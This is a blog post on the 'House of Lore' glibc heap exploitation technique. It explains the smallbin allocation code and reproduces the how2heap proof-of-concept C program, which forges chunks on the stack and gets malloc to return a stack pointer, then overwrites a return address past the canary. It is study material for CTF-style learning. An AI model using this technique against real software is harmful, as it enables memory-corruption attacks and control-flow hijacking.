House_of_Lore Learning

House_of_Lore

brief introduction

house_of_lore is a utilization of the small_bin mechanism. By other means, if bin->bk can be replaced with the BK of the small_bin header chunk, then the BK of the header chunk can be set in advance to point to a fake_chunk that is fake_chunk. This allows any address to be leaked or its contents to be modified when memory is requested again.

Principle Analysis

If malloc has a chunk in the small_chunk range, the following process is performed

/*
       If a small request, check regular bin.  Since these "smallbins"
       hold one size each, no searching within bins is necessary.
       (For a large request, we need to wait until unsorted chunks are
       processed to find best fit. But for small ones, fits are exact
       anyway, so we can check now, which is faster.)
     */

    if (in_smallbin_range(nb)) {
        // Get index of small bin
        idx = smallbin_index(nb);
        // Get the chunk pointer in the corresponding small bin
        bin = bin_at(av, idx);
        // Execute victim= last(bin) first to get the last chunk of small bin
        // If victim = bin, the bin is empty.
        // If not, then there are two cases
        if ((victim = last(bin)) != bin) {
            // In the first case, the small bin has not been initialized.
            if (victim == 0) /* initialization check */
                // Perform initialization to merge chunk s in fast bins
                malloc_consolidate(av);
            // In the second case, there is an idle chunk in the small bin
            else {
                // Gets the second last chunk in the small bin.
                bck = victim->bk;
                // Check whether bck->fd is victim to prevent forgery
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // Set the inuse bit corresponding to victim
                set_inuse_bit_at_offset(victim, nb);
                // Modify the small bin list to remove the last chunk of the small bin
                bin->bk = bck;
                bck->fd = bin;
                // If it is not main_arena, set the corresponding flag
                if (av != &main_arena) set_non_main_arena(victim);
                // Meticulous inspection
                check_malloced_chunk(av, victim, nb);
                // Convert the requested chunk to the corresponding mem state
                void *p = chunk2mem(victim);
                // If perturb_type is set, the obtained chunk is initialized to perturb_type ^ 0xff
                alloc_perturb(p, bytes);
                return p;
            }
        }
    }
  • A vulnerability exists when small_bin is not empty
            else {
                // Gets the second last chunk in the small bin.
                bck = victim->bk;
                // Check whether bck->fd is victim to prevent forgery
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // Set the inuse bit corresponding to victim
                set_inuse_bit_at_offset(victim, nb);
                // Modify the small bin list to remove the last chunk of the small bin
                bin->bk = bck;
                bck->fd = bin;

You can see that if you can modify and point the bk of the headchunk to a fake_chunk and pass an even check, after removing the headchunk, the fake_chunk becomes the first part of the bk chain to hang.

  • There are a few requirements to complete the utilization

malloc A small_bin chunk

fake_chunk can be forged at the first block bk pointer of small_bin

The FD test that allows fake_chunk to pass: u glibc_unlikely (bck->fd!= victim)

This requires that you have control over the bk field of the small_bin header chunk and place the fake_chunk ahead of time and point to the small_bin header chunk

Sample

You can get a deeper understanding through how 2heap's POC

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
    {
      bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim)){
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
       set_inuse_bit_at_offset (victim, nb);
       bin->bk = bck;
       bck->fd = bin;
       [ ... ]
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(0x100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake chunk on the stack\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  
  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------

  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(0x100);


  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(0x100);
  fprintf(stderr, "p4 = malloc(0x100)\n");

  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

  // sanity check
  assert((long)__builtin_return_address(0) == (long)jackpot);
}
  • Debugging process

First, two fake_chunk s are initialized in the stack segment

malloc has a victim_chunk that can be small_bin

intptr_t *victim = malloc(0x100);

The fd pointer of fake_chunk1 was modified to point to victim to bypass the detection of malloc

stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;//fd of fake_chunk1 points to victim, bypassing detection

Initialize the second fake_chunk2 so that fake_chunk1, 2 are linked through the bk pointer, bypassing fd detection

  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;//bk of fake_chunk1 points to fake_chunk2
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;//fd of fake_chunk2 points to fake_chunk1, bypassing detection

Allocate a block to prevent top_chunk merging victim when free

void *p5 = malloc(1000);

Release victim, it will hang in Unsorted_bin first

Then malloc a block of another size, detecting unsorted_bin will hang victim back to small_bin

Modify victim's bk pointer to fake_chunk1 (this is where other vulnerabilities need to be exploited in the battle, which is the key to triggering house_of_Lore)

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

As you can see from the BK pointer, victim's BK pointer has now pointed to fake_chunk1(0x7fffffffde40) and fake_chunk2(0x7fffffffde20)

Perform the malloc operation, return the victim block of the small_bin header, and replace bin->bk with victim->bk

You can see fake_chunk1 hanging on the bk chain

Performing the malloc operation again, you can see that fake_chunk1 is taken out of the bk chain and the return value is assigned to p4

  char *p4 = malloc(0x100);

You can see that p4 points exactly to the data segment of fake_chunk1

In this way, you can get a fake_chunk of any address to leak or overwrite anything

Reference material

CTF-WIKI
how2heap

Tags: pwn

Posted on Sun, 26 Sep 2021 12:25:43 -0400 by damonlee